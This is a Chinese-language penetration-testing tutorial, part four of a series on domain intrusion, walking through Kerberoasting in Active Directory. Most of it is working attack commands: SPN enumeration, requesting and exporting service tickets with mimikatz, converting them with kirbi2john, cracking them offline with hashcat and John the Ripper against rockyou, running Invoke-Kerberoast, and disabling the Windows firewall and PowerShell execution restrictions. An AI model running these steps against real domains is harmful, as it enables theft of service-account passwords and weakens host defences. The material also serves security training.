域渗透入门(四)Kerberoasting服务票据离线爆破密码
参考资料
录制的视频教程
- kerberoasting
spn“服务主体名称”是什么
服务帐户利用SPN支持Kerberos身份验证。也就是说,当客户端需要访问sever提供的服务的时候,那么就需要使用spn查询有哪些服务。
这种spn扫描,是正常的,在内网中,客户端想要访问服务器的资源,都需要想DC域控查询服务主体名称。就好像上火车要查询列车编号一样。
如何查询spn
| setspn -q */* --- https://github.com/nidem/kerberoast ./GetUserSPNs.ps1 --- klist 查看内存中的票据 --- 通过spn,申请service ticket服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
|
方法一(mimikatz导出票据,tgsrepcrack.py破解票据):
| 导出申请的服务票据 mimikatz.exe "kerberos::list /export" exit 导出的票据后缀名kirbi 缺点:目标主机上传mimikatz,会被杀软删除掉,必须关闭防火墙 --- 爆破服务票据 python tgsrepcrack.py test.txt 1.kirbi 遇到错误,执行失败。github上,tgsrepcrack.py这个脚本从python2升级到了python3,也许因此出了bug。
|
方法二(mimikatz导出票据,kirbi2john.py将导出的1.kirbi转换为hashcat可以破解的格式,使用hashcat破解):
| --- 从kirbi文件中提取出Kerberos tickets python /usr/share/john/kirbi2john.py 2-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi > output.txt
output.txt的密码类型是Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4] --- 使用hashcat或者john the ripper,爆破output.txt
john --format=krb5tgs output.txt --wordlist=/usr/share/wordlists/rockyou.txt --- hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt --force
|
方法三——Invoke-Kerberoast导出票据,hashcat破解:
| https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
执行没有任何结果 import-module .\Invoke-Kerberoast.ps1 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl 提示没有AdminCount参数
--- Invoke-Kerberoast -OutputFormat Hashcat | fl Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
|
windows不允许执行powershell
运行powershell脚本时,遇到“无法加载文件,因为在此系统禁止执行脚本”
在powershell面板下输入,Set-ExecutionPolicy Unrestricted
,再输入“Y”,即可运行ps脚本
cmd关闭防火墙
NetSh Advfirewall
set
allprofiles state off
Netsh Advfirewall show allprofiles
netsh firewall set opmode mode=disable
遇到的问题
爆破服务票据密码的时候,py脚本提示
ImportError: No module named pyasn1.type
安装一下模块, pip install pyasn1
运行这条命令的时候python tgsrepcrack.py test.txt 1.kirbi
提示:
| File "C:\python27\lib\ntpath.py", line 115, in splitdrive if len(p) > 1: TypeError: object of type 'file' has no len() AttributeError: 'file' object has no attribute 'rfind'
|
原因,作者将脚本从py2升级py3,脚本有bug无法正常执行。